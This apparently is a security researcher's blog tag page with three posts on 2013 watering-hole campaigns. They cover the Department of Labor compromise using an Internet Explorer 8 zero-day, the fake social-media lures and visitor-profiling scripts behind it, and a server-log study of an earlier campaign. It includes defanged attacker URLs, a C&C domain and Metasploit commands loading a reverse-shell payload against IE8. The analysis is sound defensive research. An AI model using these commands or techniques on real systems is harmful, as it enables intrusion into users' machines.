Posts tagged Internet Explorer 0day

DOL Watering Hole Campaign and Sexy Swedish Soccer Supporter


As I explained in my previous blog post, nine websites were involved in the DOL watering hole campaign. The first involved website was University Research Co. Cambodia (www[.]urccambodia[.]org) from 2013-03-15 to 2013-04-29. This website came out of the context of other websites used in this watering hole campaign.

The Better Health Services (BHS) is a USAID-funded health systems strengthening project in Cambodia that began in January 2009 and runs through December 2013. The BHS project’s goals dovetail with the mission of the Ministry of Health as stated in the Cambodian Health Strategic Plan 2008-2015 (HSP2) “to provide stewardship for the entire health sector and to ensure a supportive environment for increased demand and equitable access to quality health services in order that all the peoples of Cambodia are able to achieve the highest level of health and well-being.”

By continuing my researches on the gathered information’s found on dol[.]ns01[.]us backend and focusing on all information’s related to University Research Co. Cambodia website, I found some interesting behaviours.

In all the gathered information’s I firstly found a connection referer to www[.]urccambodia[.]org, this referer was a shortened URL http://t[.]co/RnWc0Z13Sc. Doing a google research on this shortened URL we can find a tweet from @natividad_usaid, dating from 2013-03-18.


If you observe @natividad_usaid, you will see that the account activity has begun the March 18th and finished the April 10th. Mostly all of the tweet have provide link to www[.]urccambodia[.]org, during the time of this website infection. Some twitter users were directly contacted in order to incite them to click to the link and most of these users were related to USAID (US Agency for International Development).




But most interesting is the profile description of this account and especially the shortened URL goo[.]gl/kpb7r how lead to “this is my pic.scr” file hosted on Dropbox. By analyzing this file it appear that it is Poison Ivy (504a32e123194a298018129404a1374e).



A malwr analysis of this sample reveal that “microsoftUpdate[.]ns1[.]name” is the contacted C&C server and that “conime.exe” file is also created. This C&C server is the same as mentioned by Crowdstrike, AlienVault and other security researchers or vendors, but from “bookmark.png” payload involved in Internet Explorer 8 0day (CVE-2013-1347).

It seem that this twitter account was only created and used to incite USAID twitter users to be infected through a www[.]urccambodia[.]org visit.

By continuing to analyze www[.]urccambodia[.]org related gathered information’s, I found a second connection referer to www[.]urccambodia[.]org. This referer is the Facebook profile of Kelly Black ““.

This sexy lady, posing with a friend, pretend to have work for USAID, to have study at UVA College of Arts & Sciences Alumni, to live in Washington, District of Columbia and to be from Springfield, Illinois.


Kelly Black account activity has start and stopped the same day, the March 24th. Most of the posts of this “lady” are link to infected www[.]urccambodia[.]org website and/or to project around sanitation of Mekong waters organized by US organization’s.





This sexy lady has, in one day of activity, 41 friends and most of these friends are from USAID or from others organization’s.

Now the funny part of the story, on the picture you can see two beautiful women with a yellow T-shirt and they seem to enjoy the live. One of the friends of Kelly Black was interesting to know which of the two she was, and the “bad guys” toke the time to respond to him :)


But I was intrigued by this picture and decided to compare this one on Internet, and ho miracle these ladies are not US women from Springfield, Illinois, but Swedish supporters who were photographed during European soccer cup in Poland/Ukraine.

You can find this photo through TinEye or Google pictures comparison services. This photo is present on different medias, ActionPlus, DailyMail and bunch of other websites.

Department of Labor Watering Hole Campaign Review


On April 30th, the watering hole campaign was published on a private mailing list and the May 1st, Invicia and AlienVault publicly reported, with technical details, that United States Department of Labor (DOL) Site Exposure Matrices (SEM) website had been compromised and was hosting malicious code. This malicious code was used in watering hole attack targeting at first employees of US Dept of Energy that work in nuclear weapons programs. This malicious code was also used to gather information’s on the visitors of the compromised website.

The exploit used in this campaign was firstly reported as CVE-2012-4792, an Internet Explorer 0day used in December 2012 in watering hole campaign and patched by Microsoft in January 2013. Despite the patch release some forks of this exploit were still used in targeted attacks against political parties, political dissidents, online medias and human right activists.

Two days later, FireEyeInvicia and AlienVault concluded that the vulnerability targeted during this attack campaign was not CVE-2012-4792 as they originally reported but a new Internet Explorer 8 vulnerability identified as CVE-2013-1347. This turnaround had unfortunately occur to late. Casual attacker, chaotic actors, organized crime and potentially other states involved in sponsored espionage had the opportunity to study the attack and recover the evidences.

Microsoft has acknowledge the vulnerability in a Microsoft Security Advisory published on May 3rd and identified as MSA-2847140 and has provide a “Fix it” solution to mitigate Internet Explorer 8 vulnerability.

Also, Adobe has announce through APSA13-03 that a critical vulnerability (CVE-2013-3336) is actually exploited against ColdFusion. This vulnerability could permit an unauthorized user to remotely retrieve files stored on the server, through “CFIDE/administrator“, “CFIDE/adminapi” and “CFIDE/gettingstarted*” directories. Adobe ColdFusion is used by DOL and this vulnerability has surely be used in order to compromise the server.

Possible Causes of Confusion between CVE-2012-4792 and CVE-2013-1347

Confusions with CVE-2012-4792 was possible due to similarities in used code and technics:

Usage of widely used JavaScript functions and variables

function getCookieVal(offset)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
function GetCookie(name)“, widely used,  is also present in original CVE-2012-4792 exploit and other forks.
function SetCookie(name,value)“, widely used, is also present in original CVE-2012-4792 exploit and other forks.
var ua = window.navigator.userAgent.toLowerCase()“, widely used, is also present in original CVE-2012-4792 exploit and other forks.

Usage of particular JavaScript functions also present in previous watering hole campaigns

function DisplayInfo()” also seen in CVE-2012-4792 & CVE-2011-0611 exploits.
function download()” & “function callback()” also seen in CVE-2012-4792 exploit.

Usage of Ajax XMLHttpRequest

This JavaScript object is used to download “bookmark.png” file and was also used to download  “xsainfo.jpg” file in CVE-2012-4792.

Similarities in the JavaScript code structure

If you compare the original CVE-2012-4792 JavaScript code and Exodus Intel fork, with this new exploit, the code structure is very similar in many aspects.

Usage of HTML+TIME technic

HTML+TIME, which is based on the Synchronized Multimedia Integration Language (SMIL), was also used in certain CVE-2012-4792. This technic was explained by Exodus Intel beginning January 2013.

Target selection

Parts of the code targets only Windows XP, Internet Explorer 8 and certain languages, like CVE-2012-4792.

Differences between CVE-2012-4792 and CVE-2013-1347, and Particularities

Some new particularities were present in the exploit and associated watering hole campaign:

Usage of PHP files

All previous watering hole attacks have use HTML or JavaScript files. PHP usage naturally limit the number of potential servers who could be used to start the exploitation and spread the malware. This approach increasingly the technic used by Exploit Kits, maybe a source of inspiration and effectiveness for states involved in sponsored espionage.

Usage of Base64 obfuscation

Obfuscation with base64 encoding (“base64.js” file) was used to hide parts of the exploit. CVE-2012-4792 was using “robots.txt” obfuscated with substitutions and HEX encoding.

Use-After-Free type

As mentioned by sinn3r of Metasploit team, CVE-2012-4792 was a CButton object use-after-free and CVE-2013-1347 is a CGenericElement object use-after-free.

dol[.]ns01[.]us Exploit Hosting Domain Evolutions

Invicia and AlienVault have report that the browser was redirected to the content hosted at dol[.]ns01[.]us which lead to the infection. A urlQuery, of 2013-05-01, is mentioned and refer to dol[.]ns01[.]us on port 8081/TCP. One hit related to the information gathering script is mentioning a last modified date of Thu, 14 Mar 2013 20:06:36 GMT. You can also observe in the executed JavaScript that the hxxp://dol[.]ns01[.]us:8081/web/js.php and hxxp://dol[.]ns01[.]us:8081/web/css.js URL’s are present in the code.

But if you take a look to a previous urlQuery report of 2013-04-29, hxxp://96[.]44[.]136[.]115/web/js.php, hxxp://96[.]44[.]136[.]115/web/css.js and hxxp:///web/xss.php are mentioned and coded in the executed JavaScript. 96[.]44[.]136[.]115 IP address is mentioned by AlienVault as the IP address behind dol[.]ns01[.]us. As you can see no specific destination port is present and the last modified date is the same. So we can conclude that the guys behind this campaign have change the malicious code during this interval.


You can observe this evolution with the urlQuery submission of 2013-04-30.


All these urlQuery submission’s were done with a non Internet Explorer 8 user agent, and as the exploit malicious code was designed to only target Windows XP and Internet Explorer 8, part of the redirection were not present as evidences.

If you observe “/scripts/textsize.js” JavaScript code hosted on DOL website, you can see a first JavaScript inclusion to “hxxp://dol[.]ns01[.]us:8081/web/xss.php” and a second one to “hxxp://dol[.]ns01[.]us:8081/update/index.php“.

The first inclusion “/web/xss.php” was used in order to gather information’s on the DOL website visitors and the second inclusion “/update/index.php” was used to start the exploitation of CVE-2013-1347.

Information Gathering Scripts

As described by AlienVault, the information gathering code “/web/xss.php” on dol[.]ns01[.]us use different JavaScript functions to collect information’s from the system and upload the result to the malicious server.

I found that the information’s gathering script was different depending on the used browser. Here under a description of the JavaScript functions involved in information’s gathering depending on used browsers.

[table "22" not found /]

Also a specific information gathering technic was triggered when Internet Explorer was used. This technic is related to a non patched vulnerability in Internet Explorer 8, discovered by NSFOCUS and reported to Microsoft in 2011. The vulnerability could allow user information and even local file content leakage if a user views a specially crafted webpage using Internet Explorer.


Once all information’s gathered, the script send all data’s on a specific URL “hxxp://dol[.]ns01[.]us:8081/web/js.php” and also call “hxxp://dol[.]ns01[.]us:8081/web/css.js” when the information’s are collected.



An interesting information regarding “/web/css.js“, is that the “Last Modified” date reported by “dol[.]ns01[.]us” server is Thu, 14 Mar 2013 20:06:36 GMT. This is reporting that the information gathering infrastructure was in place since mid-March minimum.

Interesting facts regarding these information gathering scripts are:

  • Scripts “xss.php“, “js.php” & “css.js” have move from IP 96[.]44[.]136[.]115 on port 80/TCP to domain dol[.]ns01[.]us port 8081/TCP. Move from port 80/TCP to 8081/TCP doesn’t seem to be logic, most of time outgoing connexion’s authorized on Firewalls, for corporate Web surfing, are 80/TCP and 443/TCP.
  • Different types of information gathering scripts were in place, and all users who have visit DOL website were affected by this information gathering campaign.
  • Usage of a specific information leakage vulnerability present in Internet Explorer 8 and not fixed by Microsoft.
  • BitDefender 2012 deactivation attempt is confusing. Why trying to deactivate an anti-virus, this will surely generate an alert.
Information Gathered on dol[.]ns01[.]us

As described in the previous chapter, the information gathering code send a lot of information’s to the backend. Hopefully for security researchers, the backend wasn’t very well protected and all collected information’s were accessible without any restrictions in different web folders. You can find here under some statistics related to the gathered information’s.


Complete geolocation of the targeted source IPs


By analyzing the information’s sent to the backend, we can also see that DOL ( wasn’t the only compromised website:

  • From 2013-03-15 to 2013-04-29 : University Research Co. Cambodia website ( was the first target .This explain the high number of distinct IP addresses from Cambodia.
  • From 2013-04-08 to 2013-04-24 : Awards for Excellence in Education website (, a program of Fraser Institute, was the second target.
  • From 2013-04-08 to 2013-04-24 : ElectionGuide website (, provided by the International Foundation for Electoral Systems (IFES), was the third target.
  • From 2013-04-09 to 2013-04-30 : French Institute of International Relations website (, was the fourth target.
  • From 2013-04-09 to 2013-04-24 : The Working for America Institute website (, was the fifth target.
  • From 2013-04-09 to 2013-04-10 : The Project 2049 Institute website (, was the sixth target.
  • From 2013-04-10 to 2013-04-10 : The Union Label and Service Trades Department website (, was the seventh target.
  • From 2013-04-11 to 2013-04-30 : Thales Catalogue website (, was the eighth target.
  • From 2013-04-23 to 2013-05-01 : United States Department of Labor (DOL) Site Exposure Matrices (SEM) website (, was the ninth target.

Here under the hits by browsers and Internet Explorer 8 hits by OS.



Others Information’s Gathered

As you have read in the previous chapter, ElectionGuide website ( was also targeted during this watering hole campaign. As you can see in the following urlQuery submission, dating from 2013-05-01, 96[.]44[.]136[.]115 is also present but don’t respond any more. Also if you observe the urlQuery submission of 2013-05-0396[.]44[.]136[.]115 is still present, but a new backend server has been setup in order replace the once deactivated.



If you observe the “Last Modified” date of “css.js” file, the installation date of these files is at least the 2013-05-03.


Also, by researching some patterns matching the information’s gathering script on Google you can find some previous unknown campaigns, that were using the same code.



CVE-2013-1347 Microsoft Internet Explorer 8 Vulnerability Metasploit Demo


Timeline :

Watering hole campaign first reported on a private mailing list the 2013-04-30
Watering hole campaign publicly disclosed by AlienVault and Invincea the 2013-04-30
0day exploit spotted by FireEye the 2013-05-03
Microsoft Security Advisory posted the 2013-05-03
Metasploit PoC provided the 2013-05-05

PoC provided by :

juan vazquez

Reference(s) :


Affected version(s) :

Internet Explorer 8

Tested on Windows XP Pro SP3 with :

Internet Explorer 8

Description :

This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CGenericElement object is freed, but a reference is kept on the Document and used again during rendering, an invalid memory that’s controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild on 2013 May, in the compromise of the Department of Labor (DoL) web site.

Commands :

use exploit/windows/browser/ie_cgenericelement_uaf
set TARGET 1
set PAYLOAD windows/meterpreter/reverse_tcp


A Deeper Look In CVE-2012-4792 Watering Hole Campaigns – Alljap Chapter


This post is a small part of an in-depth analysis of the watering hole campaign of December involving an Internet Explorer 0day.  Jindrich Kubec and my self are working hard in order to synthesize all these information’s in order to provide you a high level overview.

As I mentioned to, the 14th January, additional web sites were discovered hosting Internet Explorer CVE-2012-4792 exploit. One of the additional web site was “All Jap auto parts” (, an importer of second-hand japanese engines and car parts located in Brisbane, Queensland, Australia.

StopMalvertising published an analysis I recommend to you for additional information’s.

When I discovered this infected web, I noticed initially that the files were time stamped (HTTP Last-Modified entity-header) at the following dates:

  • deployJava.js : Fri, 14 Dec 2012 15:47:42 GMT
  • index.html : Fri, 14 Dec 2012 15:49:58 GMT
  • news.html : Fri, 14 Dec 2012 15:50:42 GMT
  • robots.txt : Fri, 14 Dec 2012 15:50:57 GMT
  • today.swf : Fri, 14 Dec 2012 15:51:08 GMT
  • xsainfo.jpg : Fri, 14 Dec 2012 15:56:44 GMT

index.html” file was supporting chinese simplified (zh-cn), taiwanese mandarin (zh-tw), japanese (ja), american english (en-us) and russian (ru). “girl” and “boy” patterns were present. And “hello” text was hidden. version of “index.html”, I discovered in Google cache and dating from the 7 December, was only supporting chinese simplified (zh-cn), taiwanese mandarin (zh-tw) and american english (en-us). “girl” and “boy” patterns were also present and “hello” text was not hidden. version, reported by FireEye, of around the 20 December, was supporting chinese simplified (zh-cn), taiwanese mandarin (zh-tw), japanese (ja), american english (en-us), russian (ru) and korean (ko). “girl” and “boy” patterns were no more present and replace by “ms-help:” technique to bypass ASLR on Windows 7. Also “hello” text was hidden.

By only analyzing these samples, from and All jap auto part, we can observe that the attackers have changed tactics multiple times during this campaign.

By analyzing all the samples of other infected web sites (around 40 infected web sites samples), I observed that the All jap auto part was not used in the watering hole campaign. No high value legit websites where including, by iframe or by JavaScript inclusion, this website.

By doing some further analysis, regarding All jap auto part, I observed initially that hosted phpmyfaq and wwwboard tools were not updated since a long time. And after some Google dorks, I found two PHP backdoors and the Apache logs (from 13 November to beginning February) who were freely accessible from Internet. We will name the first backdoor BK1 and the second BK2 for further references in this blog post.

Having free access to the logs, was an unique opportunity to find additional evidences, regarding the attackers and the differences in the samples and patterns.

I first researched, in the logs, accesses to the backdoors. BK1 was not present in the logs, but BK2 was accessed the 7 December by IP The IP is located in South Korea and is associated to VPN mirror. User agent associated to this IP is Internet Explorer 8 under Windows XP. – – [07/Dec/2012 00:31:22 +0000] “GET /BK2.php HTTP/1.1″ 200 371 “-” “Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)”

By searching additional references to this IP, we can observe a first access to CVE-2012-4792 exploit the 7 December with a different user agent, Firefox 12 under Windows XP. – – [07/Dec/2012 01:18:59 +0000] “GET /wwwboard/news/index.html HTTP/1.1″ 200 5776 “” “Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0″

We can directly observe that the HTTP referer was Global Business Network ( and that All jap auto part was also involved in a watering hole campaign. Description of GBN:

GBN helps organizations adapt and grow in an increasingly uncertain and volatile world. Using our leading-edge tools and expertise—scenario planning, experiential learning, networks of experts and visionaries—we enable our clients to address their most critical challenges and gain the insight, confidence, and capabilities they need to shape the future.

We can also confirm, like, that the exploit was present on All jap auto part since minimum the 7 December.

By doing a complete log analysis we can observe the following time line and information’s.

[table "3" not found /]

This IP has directly access to BK2, no other web pages visits. You can observe that some PHP mail code (mail.php) was put in place in order to send spear phishing email targeted to Taiwanese people’s (tw.htm). Bunch of operations have been done through BK2. Also you can observe that they test the exploit with Firefox 12.

[table "5" not found /]

This IP has directly access to BK2, no other web pages visits, and manipulate the content of CVE-2012-4792 0day. The IP is located in South Korea with only a pptp VPN open port. You can also observe usage of a file named “demo.txt”.

[table "4" not found /]

This IP has directly access to the BK2, no other web pages visits, manipulate the content of CVE-2012-4792 0day and do some test from The IP is located in Taiwan with only a pptp VPN open port.

[table "6" not found /]

This IP has directly access to the BK2, no other web pages visits, manipulate the content of CVE-2012-4792 0day. The IP is located in Hong-Kong with only a pptp VPN open port.

[table "7" not found /]

This IP has directly access to the BK2, no other web pages visits, manipulate the content of CVE-2012-4792 0day. The IP is located in South Korea with only a pptp VPN open port.

[table "8" not found /]

This IP has directly access to the BK2, no other web pages visits, manipulate the content of CVE-2012-4792 0day and do some test from The IP is located in South Korea.

As you can see the attackers have use massively VPN connexions in order to connect themselves to BK2. If you compare the “Last-Modified” HTTP headers of the samples, you can see that they are corresponding to the last three different IPs manipulations.

As we have the complete Apache logs, I was also able to analyze the attack surface of the watering hole campaign through GBN.

My first analysis was to see all successful hits to “index.html” file from 7 December to 17 December, without any segregation. By clicking on the following link you will access to a Google Fusion Table providing all associated information’s.


You can find also the TOP 10 of countries how have hit the exploit.

[table "9" not found /]

My second analysis was to see all potential successful exploitation targeting “MSIE 8.0“, from 7 December to 17 December. By clicking on the following link you will access to a Google Fusion Table providing all associated information’s.


You can find also the TOP 10 of countries how have hit the exploit.

[table "10" not found /]

You can see that the potential success rate, compared to the visitors of GBN is very low. The fact to use a 0day only capable to target MSIE 8.0 was clearly a limiting point.

As explained at the beginning of the blog post, the post is only a small part of that has been analyzed. Jindrich Kubec and me will provide you additional information’s soon.

Go to Top